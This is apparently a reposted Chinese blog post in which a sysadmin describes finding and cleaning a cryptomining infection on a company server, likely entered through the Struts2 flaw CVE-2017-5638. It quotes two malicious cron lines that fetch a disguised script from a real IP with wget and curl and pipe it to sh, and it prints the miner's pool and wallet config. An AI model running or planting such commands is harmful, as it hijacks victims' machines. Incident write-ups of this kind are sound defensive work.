记录一次服务器被攻击

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记录一次服务器被攻击相关的知识,希望对你有一定的参考价值。

    公司一台服务器从某一个时间开始,突然在每天不定期出现磁盘io和进程数的告警,初期进行查看,并未发现问题,暂时搁置。

    每次告警时间都很短暂,所以很难在系统出现告警时登录查看。而且由于在忙其他事情,这件事也一直没有仔细去查。

    登录检查的时候发现有一个分区磁盘满了,当时猜测可能与分区使用满了有关,但分区中的文件都不能移动,最终将部分文件做了软链接到另一个分区,使分区使用率在100%以下,测试告警会不会继续。

    事实是告警没有停止,依然在继续。

    通过性能监控工具nmon来进行查看,使用dtl参数,分别查看cpu,disk io,top processes,由于此时没告警,系统运行正常,没有看出什么。

    查看tomcat服务日志,看在告警时间段内服务在干什么,发现服务跟告警没有关系,基本上在告警时间,服务没做什么操作,这就说明不是服务造成系统负载变高,可能是有别的进程导致。查看系统进程,未发现可疑进程,略有疑惑。就在这时,回头看了一眼nmon实时进程显示,突然看到一个wget的进程,马上使用ps查看wget进程,发现了这样的进程

*/20 * * * * wget -O --q http://91.230.47.40/icons/logo.jpg|sh */19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh

    很明显是计划任务的书写形式,查看计划任务,果然有这两条计划任务,由于不确定这计划任务是否是其他工作人员加上去的,先查看ip的归属,发现时俄罗斯的,反应到应该不是工作人员加的,而是被攻击了。

    再看top进程,发现还有另外一个进程,为atd,此进程是计划任务相关的进程,马上kill掉。

    再把两条计划任务注释掉。

    使用电脑浏览器尝试打开计划任务的url,发现jpg问价你打开图片,想到这应该不是图片文件。在linux终端下载此文件,使用vi打开,发现是一个脚本:

技术分享

    打开配置文件/var/tmp/bmsnxvpggm.conf:

{

"url" : "stratum+tcp://94.23.41.130:80",

"user" : "49mQCzecsC6TS1sNBj5XQX4dNG8MESvLGLPHYJLKohVCQivAB5jJw2xHokTpjtSfE3D8m2U3JjDGEWJMYLrN216CM3dRpBt",

"pass" : "x",

"algo" : "cryptonight",

"quiet" : true

}


    看起来有点像是做验证,这应该是把服务做成肉鸡了。

    把相关文件清理。

    查看历史记录,没有发现其他可以操作。

    上网查找有关类似的例子,发现真的有,这种攻击可以通过struts2的一个漏洞(CVE-2017-5638 ),由于这台服务器上的服务是比较久之前的服务,使用的struts2版本中有这样的漏洞,所以可能是通过该漏洞进行攻击的。

    公司目前所有项目都已放弃使用struts2,而且该服务也已经不常用,初步考虑让开发人员将此服务重新修改。






本文出自 “我不是我” 博客,请务必保留此出处http://wangwq.blog.51cto.com/8711737/1952727

以上是关于记录一次服务器被攻击的主要内容,如果未能解决你的问题,请参考以下文章

记录一次阿里云服务器被攻击的经历

记录一次攻击事件(redis 未授权漏洞利用直接登录服务器)

一次Linux系统被攻击的分析过程

记一次阿里云服务器被用作DDOS攻击肉鸡

linux记录一次系统被攻击的处理过程

记录: 一次解决整型溢出攻击(使用scala,隐式转换)